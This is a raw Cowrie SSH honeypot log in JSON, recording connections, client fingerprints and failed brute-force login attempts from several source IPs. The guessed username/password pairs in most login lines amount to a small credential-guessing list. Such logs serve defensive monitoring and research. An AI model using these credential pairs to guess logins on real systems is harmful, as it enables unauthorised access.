{"eventid":"cowrie.login.failed","username":"test","password":"p@ssw0rd","message":"login attempt [test/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:56.937831Z","src_ip":"91.92.40.36","session":"40153f8db1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cheese1","message":"login attempt [root/cheese1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:57.108382Z","src_ip":"62.133.62.83","session":"14bd222d0632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:58.189389Z","src_ip":"62.133.62.83","session":"14bd222d0632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:58.365112Z","src_ip":"91.92.40.36","session":"40153f8db1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14658,"dst_ip":"10.17.0.5","dst_port":22,"session":"2174057bb3bd","protocol":"ssh","message":"New connection: 91.92.40.36:14658 (10.17.0.5:22) [session: 2174057bb3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:02.759832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:03.125153Z","src_ip":"91.92.40.36","session":"2174057bb3bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:03.131818Z","src_ip":"91.92.40.36","session":"2174057bb3bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567","message":"login attempt [ubuntu/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:06.160926Z","src_ip":"91.92.40.36","session":"2174057bb3bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:07.887748Z","src_ip":"91.92.40.36","session":"2174057bb3bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":54102,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b073f96cc80","protocol":"ssh","message":"New connection: 14.63.196.175:54102 (159.203.135.109:22) [session: 7b073f96cc80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:10.505177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:10.510008Z","src_ip":"14.63.196.175","session":"7b073f96cc80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:10.724568Z","src_ip":"14.63.196.175","session":"7b073f96cc80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123","message":"login attempt [vncuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:11.579014Z","src_ip":"14.63.196.175","session":"7b073f96cc80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31306,"dst_ip":"10.17.0.5","dst_port":22,"session":"3035164fef89","protocol":"ssh","message":"New connection: 91.92.40.36:31306 (10.17.0.5:22) [session: 3035164fef89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:11.678989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:12.347362Z","src_ip":"91.92.40.36","session":"3035164fef89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:12.790742Z","src_ip":"14.63.196.175","session":"7b073f96cc80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:13.385561Z","src_ip":"91.92.40.36","session":"3035164fef89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":44524,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c8787c3a3b2","protocol":"ssh","message":"New connection: 103.84.236.242:44524 (159.203.135.109:22) [session: 2c8787c3a3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:14.882087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:14.886405Z","src_ip":"103.84.236.242","session":"2c8787c3a3b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:15.122813Z","src_ip":"103.84.236.242","session":"2c8787c3a3b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Spider123","message":"login attempt [root/Spider123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:16.106709Z","src_ip":"103.84.236.242","session":"2c8787c3a3b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56158,"dst_ip":"10.17.0.5","dst_port":22,"session":"192ac4a36ffa","protocol":"ssh","message":"New connection: 91.92.40.36:56158 (10.17.0.5:22) [session: 192ac4a36ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:16.724473Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:17.346269Z","src_ip":"103.84.236.242","session":"2c8787c3a3b2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:17.553581Z","src_ip":"91.92.40.36","session":"192ac4a36ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:17.559996Z","src_ip":"91.92.40.36","session":"192ac4a36ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456789","message":"login attempt [devops/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:19.684665Z","src_ip":"91.92.40.36","session":"3035164fef89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wet","password":"123456","message":"login attempt [wet/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:21.648822Z","src_ip":"91.92.40.36","session":"192ac4a36ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:22.439878Z","src_ip":"91.92.40.36","session":"3035164fef89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:23.010818Z","src_ip":"91.92.40.36","session":"192ac4a36ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56216,"dst_ip":"10.17.0.5","dst_port":22,"session":"c381bd283a78","protocol":"ssh","message":"New connection: 91.92.40.36:56216 (10.17.0.5:22) [session: c381bd283a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:27.227336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:27.572405Z","src_ip":"91.92.40.36","session":"c381bd283a78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:28.760542Z","src_ip":"91.92.40.36","session":"c381bd283a78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27136,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cbd579b1907","protocol":"ssh","message":"New connection: 91.92.40.36:27136 (10.17.0.5:22) [session: 1cbd579b1907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:31.751809Z"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":56458,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bb5c7510f7b","protocol":"ssh","message":"New connection: 73.36.177.174:56458 (10.17.0.5:22) [session: 1bb5c7510f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:32.001277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:32.010988Z","src_ip":"73.36.177.174","session":"1bb5c7510f7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:32.054721Z","src_ip":"73.36.177.174","session":"1bb5c7510f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"speedtest","password":"speedtest@123","message":"login attempt [speedtest/speedtest@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:32.262742Z","src_ip":"73.36.177.174","session":"1bb5c7510f7b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:32.527743Z","src_ip":"91.92.40.36","session":"1cbd579b1907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:32.532026Z","src_ip":"91.92.40.36","session":"1cbd579b1907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:33.308456Z","src_ip":"73.36.177.174","session":"1bb5c7510f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"1","message":"login attempt [test3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:34.499377Z","src_ip":"91.92.40.36","session":"c381bd283a78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:35.279110Z","src_ip":"91.92.40.36","session":"1cbd579b1907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:36.417713Z","src_ip":"91.92.40.36","session":"1cbd579b1907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:36.657013Z","src_ip":"91.92.40.36","session":"c381bd283a78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19468,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7d394e19cfc","protocol":"ssh","message":"New connection: 91.92.40.36:19468 (10.17.0.5:22) [session: e7d394e19cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:40.146647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:52:40.803778Z","src_ip":"91.92.40.36","session":"e7d394e19cfc","protocol":"ssh"}
